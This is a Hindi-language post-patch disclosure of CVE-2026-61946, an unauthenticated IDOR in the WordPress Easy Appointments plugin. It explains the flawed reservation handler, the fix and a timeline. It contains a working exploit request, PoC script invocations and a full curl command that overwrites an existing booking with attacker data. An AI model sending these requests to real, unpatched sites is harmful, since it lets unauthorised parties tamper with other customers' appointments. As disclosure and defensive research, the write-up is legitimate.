
CVE-2026-61946: Easy Appointments <= 3.12.27 में अप्रमाणित IDOR
मुझे WordPress Easy Appointments प्लगइन में एक अनऑथेंटिकेटेड असुरक्षित डायरेक्ट ऑब्जेक्ट रेफरेंस मिला। सार्वजनिक आरक्षण एंडपॉइंट ने क्वेरी स्ट्रिंग से एक id स्वीकार किया और परिणामी डेटा को प्लगइन के डेटाबेस replace() पथ में भेज दिया।
इसका मतलब था कि एक नया सार्वजनिक आरक्षण अनुरोध मौजूदा अपॉइंटमेंट पंक्ति के अपडेट में बदला जा सकता था। किसी लॉगिन, कुकीज़ या WordPress खाते की आवश्यकता नहीं थी। इसे किसी अन्य अपॉइंटमेंट की प्राथमिक कुंजी दें, एक वास्तविक खुला स्लॉट चुनें, और प्लगइन ने उस बुकिंग को हमलावर-नियंत्रित ग्राहक और अपॉइंटमेंट डेटा से अधिलेखित कर दिया।
| CVE | CVE-2026-61946 |
| प्लगइन | Easy Appointments |
| Slug | easy-appointments |
| प्रभावित | <= 3.12.27 |
| ठीक किया गया | 3.12.28 |
| बग वर्ग | अनऑथेंटिकेटेड IDOR / उपयोगकर्ता-नियंत्रित प्राथमिक कुंजी (CWE-639) |
| प्रभाव | किसी भी मौजूदा अपॉइंटमेंट का अधिलेखन |
| CVSS | 6.5 मध्यम (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L) |
| श्रेय | Daniel Wade |
| Patchstack PSID | 4f9c506f9f90 |
सार्वजनिक एंडपॉइंट ने इस तरह के अनुरोध को स्वीकार किया:
GET /wp-admin/admin-ajax.php?action=ea_res_appointment&id=2&location=1&service=1&worker=1&date=2026-04-09&start=15:00&name=ATTACKER&email=evil%40hack.com&phone=666&description=PWNED HTTP/1.1
Host: target.example
id=2 को अविश्वसनीय ऑब्जेक्ट पहचान के रूप में नहीं माना गया। प्रभावित संस्करणों में, यह इनपुट फ़िल्टरिंग से बच गया और डेटाबेस प्रतिस्थापन पथ तक पहुँच गया। यदि पंक्ति 2 पहले से किसी अन्य ग्राहक की थी, तो सार्वजनिक अनुरोध ने नई पंक्ति बनाने के बजाय उस पंक्ति को अपडेट कर दिया।
Before: id=2 | Jane Victim | [email protected] | confirmed | $50.00
After: id=2 | ATTACKER | [email protected] | reservation | $50.00
Easy Appointments आरक्षण हैंडलर को बिना प्रमाणीकरण वाले विज़िटरों के लिए खोलता है:
add_action('wp_ajax_ea_res_appointment', array($this, 'ajax_res_appointment'));
add_action('wp_ajax_nopriv_ea_res_appointment', array($this, 'ajax_res_appointment'));
यह सार्वजनिक बुकिंग फ़ॉर्म के लिए अपेक्षित है। प्राधिकरण बग उस सार्वजनिक हैंडलर के अंदर कॉलर की ऑब्जेक्ट कुंजी पर भरोसा करना था।
कमजोर प्रवाह इस प्रकार था:
unauthenticated GET
-> action=ea_res_appointment
-> $_GET['id']
-> allowed through the reservation field list
-> models->replace('ea_appointments', $data, true)
-> existing appointment row selected by primary key
-> victim booking overwritten
Nonce और CAPTCHA जाँचों ने आपूर्ति किए गए अपॉइंटमेंट ID के स्वामित्व को स्थापित नहीं किया। मेरे द्वारा परीक्षण किए गए कॉन्फ़िगरेशन में वे डिफ़ॉल्ट रूप से अक्षम भी थे, इसलिए अनुरोध को किसी सत्र स्थिति की आवश्यकता नहीं थी।
एंडपॉइंट ने उपलब्धता जाँच अवश्य की। इससे ऑब्जेक्ट प्राधिकरण समस्या ठीक नहीं हुई; इसका केवल यह अर्थ था कि हमलावर को एक मान्य सार्वजनिक स्थान, सेवा, कर्मचारी, तिथि और वर्तमान में खुला समय स्लॉट चुनना था।
आपको चाहिए:
1. A disposable WordPress lab running Easy Appointments <= 3.12.27
2. The ID of a lab appointment you created for testing
3. Valid location, service, and worker IDs from the public form
4. A time slot that is currently open
फिर दोनों सुरक्षा स्विचों के साथ कोई भी PoC चलाएँ। --execute / -Execute के बिना, स्क्रिप्ट केवल वह अनुरोध प्रिंट करती हैं जो वे भेजेंगी।
PowerShell:
.\poc\reproduce.ps1 `
-Target "http://127.0.0.1" `
-AppointmentId 2 `
-Location 1 `
-Service 1 `
-Worker 1 `
-Date "2026-04-09" `
-Start "15:00" `
-AuthorizedLab `
-Execute
Bash:
./poc/reproduce.sh \
--target "http://127.0.0.1" \
--id 2 \
--location 1 \
--service 1 \
--worker 1 \
--date "2026-04-09" \
--start "15:00" \
--authorized-lab \
--execute
मैन्युअल curl:
curl -i -sS -G "http://127.0.0.1/wp-admin/admin-ajax.php" \
--data-urlencode "action=ea_res_appointment" \
--data-urlencode "id=2" \
--data-urlencode "location=1" \
--data-urlencode "service=1" \
--data-urlencode "worker=1" \
--data-urlencode "date=2026-04-09" \
--data-urlencode "start=15:00" \
--data-urlencode "name=ATTACKER" \
--data-urlencode "[email protected]" \
--data-urlencode "phone=666" \
--data-urlencode "description=PWNED"
इसमें कोई प्रमाणीकरण हेडर या कुकीज़ शामिल नहीं हैं।
मैंने समस्या को इस पर दोहराया:
WordPress 6.9.4
Easy Appointments 3.12.23.1
Unauthenticated request
No cookies
Nonce disabled
CAPTCHA disabled
परीक्षण में एक प्रयोगशाला पीड़ित खाते के स्वामित्व वाली मौजूदा अपॉइंटमेंट पंक्ति का उपयोग किया गया:
id=2
name=Jane Victim
[email protected]
status=confirmed
price=$50.00
सार्वजनिक आरक्षण अनुरोध के बाद, वही प्राथमिक कुंजी इसमें शामिल थी:
id=2
name=ATTACKER
[email protected]
status=reservation
price=$50.00
प्राथमिक कुंजी और मूल्य के अपरिवर्तित रहने से अपडेट व्यवहार स्पष्ट हो गया: यह दूसरी बुकिंग नहीं थी जो पहले जैसी दिखती थी। यह मौजूदा पंक्ति का प्रतिस्थापन था।
पहले/बाद के प्रमाण की एक प्रति evidence/sample-before-after.txt में है।
एक अनऑथेंटिकेटेड हमलावर जो अपॉइंटमेंट ID जानता या अनुमान लगाता है, उस बुकिंग के ग्राहक और शेड्यूलिंग डेटा को दूषित कर सकता है। साइट के वर्कफ़्लो के आधार पर, इसमें बदलाव शामिल हो सकते हैं:
customer name and email
phone number
appointment description
location, service, and assigned worker
date and start time
reservation status generated by the public flow
व्यावहारिक परिणाम मौन बुकिंग छेड़छाड़ है: वैध अपॉइंटमेंट को पुनर्निर्देशित, विस्थापित, तोड़फोड़ किया जा सकता है, या परिचालन रूप से बेकार बनाया जा सकता है। सार्वजनिक फ़ॉर्म अनुरोध बनाने के लिए आवश्यक मान्य शेड्यूलिंग मानों को उजागर करता है।
आधिकारिक स्कोर 6.5 मध्यम है:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
संस्करण 3.12.28 में सुरक्षा-संबंधी परिवर्तन सुंदर रूप से स्पष्ट है:
foreach ($data as $key => $rem) {
if (!in_array($key, $dont_remove)) unset($data[$key]);
}
+
+unset($data['id']);
+$data['id'] = null;
unset($data['action']);
सार्वजनिक बुकिंग प्रवाह को अब डेटाबेस ऑब्जेक्ट की प्राथमिक कुंजी चुनने की अनुमति नहीं है। अनुरोध को किसी भी मौजूदा अपॉइंटमेंट को प्रतिस्थापित करने की अनुमति देने के बजाय नए-रिकॉर्ड पथ पर मजबूर किया जाता है।
उसी सुरक्षा कमिट ने nonce विकल्प तर्क को भी ठीक किया। यह गहराई में उपयोगी सुरक्षा है, लेकिन अकेले nonce सत्यापन किसी हमलावर द्वारा आपूर्ति किए गए अपॉइंटमेंट ID के लिए स्वामित्व जाँच नहीं होगा। क्लाइंट-नियंत्रित कुंजी को हटाना सीधा IDOR समाधान है।
निकाला गया पैच patch/fix.diff में है।
poc/
reproduce.ps1 # PowerShell lab reproducer
reproduce.sh # Bash/curl lab reproducer
evidence/
sample-before-after.txt # Sanitised proof of row replacement
patch/
fix.diff # Security-relevant upstream diff
README.md
| तिथि | घटना |
|---|---|
| 2026-04-03 | Patchstack को रिपोर्ट किया गया |
| 2026-07-07 | पैच सत्यापित |
| 2026-07-16 | Patchstack ने भेद्यता प्रविष्टि प्रकाशित की |
| 2026-07-23 | CVE-2026-61946 प्रकाशित |
अस्वीकरण: यह PoC पैच उपलब्ध होने के बाद रक्षात्मक अनुसंधान और सत्यापन के लिए प्रकाशित किया गया है। इसका उपयोग उन प्रणालियों के विरुद्ध न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।
CVE-2026-61946 - Easy Appointments 3.12.28 में ठीक किया गया। प्रभावित: 3.12.27 और पुराने संस्करण।
Daniel Wade - GitHub - Twitter/X - Bluesky - Mastodon - Medium - nadsec.online